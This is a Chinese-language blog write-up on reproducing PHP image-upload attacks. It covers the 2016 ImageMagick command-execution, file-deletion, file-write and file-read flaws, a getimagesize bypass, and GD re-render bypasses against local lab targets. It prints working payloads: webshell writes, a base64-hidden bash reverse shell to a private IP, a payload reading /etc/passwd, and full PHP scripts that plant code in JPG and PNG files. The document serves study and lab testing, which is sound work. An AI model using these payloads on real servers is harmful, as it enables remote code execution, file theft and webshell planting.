0x00 最近phpstudy爆出Nginx解析漏洞,由于nginx默认配置存在错误配置,导致任意文件都可以解析为php代码。
漏洞原理可参考此链接:https://www.cnblogs.com/yang34/p/13653893.html
当然本文肯定不会是专门讲nginx解析漏洞,而是讲漏洞复现时发现的一个小问题点。本次漏洞复现使用了mkcms和74cms作为漏洞环境进行复现。
下载phpstudy8.1.0.7版本。
cms安装成功后,找到可上传图片点
mkcms
上传图片马
解析成功。
74cms:
图片的确解析了,但是phpinfo没被解析。
百思不得其解,度娘了一波,大致了解,图片上传时调用图片处理函数对图片进行了剪裁啥的然后重新生成了一张新的图片。而这种方法叫二次渲染。
作为菜逼的我代码也看不懂,只能跟着百度方法C32ASM一波了。
mkcms,原图片和上传后图片的对比,阔以发现没得啥变化,怪不得可以执行成功。
74cms,原图片和上传后图片对比,图片前面已经全部被修改了。。。
尝试了n+++++久。。。。。。好像整个图片代码没得地方是不变的。
于是想对图片库这一块的漏洞好好学习一波,于是。。。就有了本篇文章。。。php常用图片库漏洞的利用和总结?
0x02 ImageMagick 介绍 ImageMagick是目前使用最广泛的开源图片处理工具,可读写处理图片类型超90种,支持多种编程语言,也可使用命令行对图片进行操作。Imagemagick在16年爆出命令执行漏洞及利用伪协议进行读取、删除、移动文件等漏洞。漏洞复现使用PHP调用imagemagick库来进行测试。关于漏洞的详细分析此处贴一个大佬的连接:ImageMagick漏洞分析 ,有兴趣的大佬可以看看。
环境搭建 Apache+php5.6
Ubuntu18.04(更新之前去掉sources.list中deb-src注释)
sudo apt update && apt upgrade sudo apt build-dep imagemagick 下载imagemagick漏洞版本(此处下载6.8.1作为演示) 源码下载地址:https://master.dl.sourceforge.net/project/imagemagick/old-sources/6.x/ 安装 tar -zxvf ImageMagick-6.8.1-10.tar.bz cd ImageMagick-6.8.1-10 sudo ./configure make && make install 查看是否安装成功 convert -version sudo ldconfig /usr/local/lib
如上图,则安装成功。
安装PHP扩展 apt install libmagick++-dev apt install php—imagick 重启后打印phpinfo 查看php-imageic是否添加成功
漏洞源码
index.php
<!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Image Uploader</title > </head > <body > <h1 > Image Uploader</h1 > <form method ="POST" enctype ="multipart/form-data" > <input type ="file" name ="myimage" > <input type ="submit" name ="submit" > </form > <?php include('upload.php'); ?> </body > </html >
Upload.php
<?php if (isset ($_POST ['submit' ])){ $validext = array ('.jpg' , '.png' ); $image = $_FILES ['myimage' ]; $ext = strrchr($image ['name' ],'.' ); if (!in_array($ext ,$validext )){ exit ("文件不是允许的图片类型!" ); } if (move_uploaded_file($image ["tmp_name" ],'image.png' )){ system('convert image.png myimage.png' ); echo 'yes' ; }else { echo 'error' ; } } ?>
漏洞利用 漏洞产生位置都是同一个点,Imagemagick有一个功能delegate是调用外部lib来处理文件,而调用外部lib的过程是执行system命令来执行,导致存在命令执行漏洞。当访问的连接是HTTPS协议时,漏洞会被触发。
CVE-2016-3714 命令执行漏洞
写入shell push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/1.jpg"|echo \'<?php phpinfo();?>\' > shell.php")' pop graphic-context 反弹shell-poc push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/oops.jpg"|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjIxMS41NS43Lzg4ODggMD4mMQ== | base64 -d| bash")' pop graphic-context
当前网站目录下不存在上传的图片及生成的shell文件
上传image.png图片
上传成功,访问shell.php
查看网站根目录
反弹shell同理,监听8888端口
反弹成功
CVE-2016-3715 ImageMagick的“临时”伪协议可以删除文件,该协议在读取后删除文件
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/var/www/html/test.txt' popgraphic-context
漏洞利用:创建test.txt文件
图片上次成功后,test文件删除成功
CVE-2016-3716 此漏洞是利用ImageMagick中的msl协议读取xml的内容,并根据其内容来写入任意文件。
image.png
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/var/www/html/test.txt' popgraphic-context
test.txt
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="/var/www/html//1.gif" /># File to be copied <write filename="/var/www/phpinfo.php" /># Destination location </image>
准备一张图片马
写入成功
CVE-2016-3717 本地文件读取漏洞,根据label协议,可以读取文件并生成一个文件截图
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context
上传image.png,passwd文件截图成功
getimagesize()函数绕过 官方手册中对getimagesize说明:
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG
标记中的 height/width 文本字符串。
getimagesize函数是用来修复之前ImageMagick漏洞。在之前的POC中当图片大小为0,0 0,0触发漏洞,使用getImagesize函数限制图片格式后,之前爆出来的POC无法使用。如何绕过?P神大法好:ImageMgaick邂逅getimagesize的那点事 涉及到底层C实在是不懂,贴一下P神的详细分析文章,大佬们自行查看。
POC
push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg"|"`id`)' pop graphic-context #define xlogo_width 200 #define xlogo_height 200
而在某些特定条件下,可以使用xbm格式也可以绕过getimagesize函数,由于无测试环境,直接上payload,将如下代码插入php中
#define test_width 16 #define test_height 7 <?php echo 'test';?> static char test_bits[] = { 0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80, 0x00, 0x60 };
0x03 GD 介绍 GD库是PHP最常用的图片处理库之一,通常用来生成缩略图,或者用来对图片加水印,或者用来生成汉字等图像处理操作。
关于GD库的二次渲染和Imagemagick的二次渲染基本一样,绕过方法一致,以下使用的方法同适用于Imagemagick。
二次渲染 二次渲染是将用户上传的图片马中图像数据抓取出来,在使用自带的API或函数重新渲染,而PHP使用GD库是可以绕过二次渲染。
此处使用upload-labs的第十六关靶场来进行验证。
渲染函数:
以下三个函数类似,判断不同类型的图片文件,并且根据原图片生成新图片 imagecreatefromgif() imagecreatefromjpeg() imagecreatefrompng() cropImage() //imagick渲染函数
GIF渲染绕过 渲染绕过就是将未渲染的图片和渲染后的图片进行对比,找到被渲染后但是未被更改的区域添加恶意代码,如下图:
红框中是渲染后未被修改的区域,添加恶意代码
可以看见部分代码还是被删除了,但是大部分还是保留,我们继续找位置
经过测试,将代码插入到即可如下图所示处即可
上传成功,代码未删除
而图片添加了部分代码后。。咳咳,不过不影响正常使用,长成啥样随意吧。。。
JPG渲染绕过 二次渲染绕过同理,通过对比文件内容插入代码,不过网上已有jpg图片渲染绕过的脚本,
先将图片文件上传,然后将图片下载到本地,使用下面脚本处理后,重新上传图片即可
脚本如下
<?php $miniPayload = "<?=phpinfo();?>" ; if (!extension_loaded('gd' ) || !function_exists('imagecreatefromjpeg' )) { die ('php-gd is not installed' ); } if (!isset ($argv [1 ])) { die ('php jpg_payload.php <jpg_name.jpg>' ); } set_error_handler("custom_error_handler" ); for ($pad = 0 ; $pad < 1024 ; $pad ++) { $nullbytePayloadSize = $pad ; $dis = new DataInputStream($argv [1 ]); $outStream = file_get_contents($argv [1 ]); $extraBytes = 0 ; $correctImage = TRUE ; if ($dis ->readShort() != 0xFFD8 ) { die ('Incorrect SOI marker' ); } while ((!$dis ->eof()) && ($dis ->readByte() == 0xFF )) { $marker = $dis ->readByte(); $size = $dis ->readShort() - 2 ; $dis ->skip($size ); if ($marker === 0xDA ) { $startPos = $dis ->seek(); $outStreamTmp = substr($outStream , 0 , $startPos ) . $miniPayload . str_repeat("\0" ,$nullbytePayloadSize ) . substr($outStream , $startPos ); checkImage('_' .$argv [1 ], $outStreamTmp , TRUE ); if ($extraBytes !== 0 ) { while ((!$dis ->eof())) { if ($dis ->readByte() === 0xFF ) { if ($dis ->readByte !== 0x00 ) { break ; } } } $stopPos = $dis ->seek() - 2 ; $imageStreamSize = $stopPos - $startPos ; $outStream = substr($outStream , 0 , $startPos ) . $miniPayload . substr( str_repeat("\0" ,$nullbytePayloadSize ). substr($outStream , $startPos , $imageStreamSize ), 0 , $nullbytePayloadSize +$imageStreamSize -$extraBytes ) . substr($outStream , $stopPos ); } elseif ($correctImage ) { $outStream = $outStreamTmp ; } else { break ; } if (checkImage('payload_' .$argv [1 ], $outStream )) { die ('Success!' ); } else { break ; } } } } unlink('payload_' .$argv [1 ]); die ('Something\'s wrong' ); function checkImage ($filename , $data , $unlink = FALSE ) { global $correctImage ; file_put_contents($filename , $data ); $correctImage = TRUE ; imagecreatefromjpeg($filename ); if ($unlink ) unlink($filename ); return $correctImage ; } function custom_error_handler ($errno , $errstr , $errfile , $errline ) { global $extraBytes , $correctImage ; $correctImage = FALSE ; if (preg_match('/(\d+) extraneous bytes before marker/' , $errstr , $m )) { if (isset ($m [1 ])) { $extraBytes = (int )$m [1 ]; } } } class DataInputStream { private $binData ; private $order ; private $size ; public function __construct ($filename , $order = false , $fromString = false ) { $this ->binData = '' ; $this ->order = $order ; if (!$fromString ) { if (!file_exists($filename ) || !is_file($filename )) die ('File not exists [' .$filename .']' ); $this ->binData = file_get_contents($filename ); } else { $this ->binData = $filename ; } $this ->size = strlen($this ->binData); } public function seek ( ) { return ($this ->size - strlen($this ->binData)); } public function skip ($skip ) { $this ->binData = substr($this ->binData, $skip ); } public function readByte ( ) { if ($this ->eof()) { die ('End Of File' ); } $byte = substr($this ->binData, 0 , 1 ); $this ->binData = substr($this ->binData, 1 ); return ord($byte ); } public function readShort ( ) { if (strlen($this ->binData) < 2 ) { die ('End Of File' ); } $short = substr($this ->binData, 0 , 2 ); $this ->binData = substr($this ->binData, 2 ); if ($this ->order) { $short = (ord($short [1 ]) << 8 ) + ord($short [0 ]); } else { $short = (ord($short [0 ]) << 8 ) + ord($short [1 ]); } return $short ; } public function eof ( ) { return !$this ->binData||(strlen($this ->binData) === 0 ); } } ?>
PNG渲染绕过 png不同于gif和png,不过一般绕过方法是将Web shell放入PLTE块(CBC值)或IDAT块来绕过PNG内容的渲染,关于png的格式可参考:PNG文件格式详解
脚本
<?php $p = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 , 0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae , 0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc , 0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f , 0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c , 0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d , 0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 , 0x66 , 0x44 , 0x50 , 0x33 ); $img = imagecreatetruecolor(32 , 32 );for ($y = 0 ; $y < sizeof($p ); $y += 3 ) { $r = $p [$y ]; $g = $p [$y +1 ]; $b = $p [$y +2 ]; $color = imagecolorallocate($img , $r , $g , $b ); imagesetpixel($img , round($y / 3 ), 0 , $color ); } imagepng($img ,'./1.png' ); ?>
将上面代码运行后会在同目录生成一个1.png,重新上传后打开,发现恶意代码未被删除,成功绕过。
0x04 总结 关于二次渲染的绕过方法其实是可适用于大多数图片处理库,对渲染后未修改的部分进行修改即可,渲染的地方不同,可写入代码位置需自行调试。ImageMagick漏洞属于图片库本身存在的漏洞,所以不限于PHP,其他编程语言中若使用Imagemagick漏洞版本,利用方法同上。
最后的最后,解析漏洞的复现当然是成功了。
看见红框框了吗?看见图片名称了吗?没看见?再看一次
简单明了的上传点上传成功后,成功解析。
而前面为什么没解析的原因。。
因为用的是第三方编辑器上传的,Kindeditor编辑器。。
参考链接 https://xz.aliyun.com/t/2657#toc-13
https://blog.csdn.net/Auuuuuuuu/article/details/89046184
https://wooyun.js.org/drops/CVE-2016-3714%20-%20ImageMagick%20%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%88%86%E6%9E%90.html
https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html
https://www.cnblogs.com/r00tuser/p/11312212.html
https://cloud.tencent.com/developer/article/1516346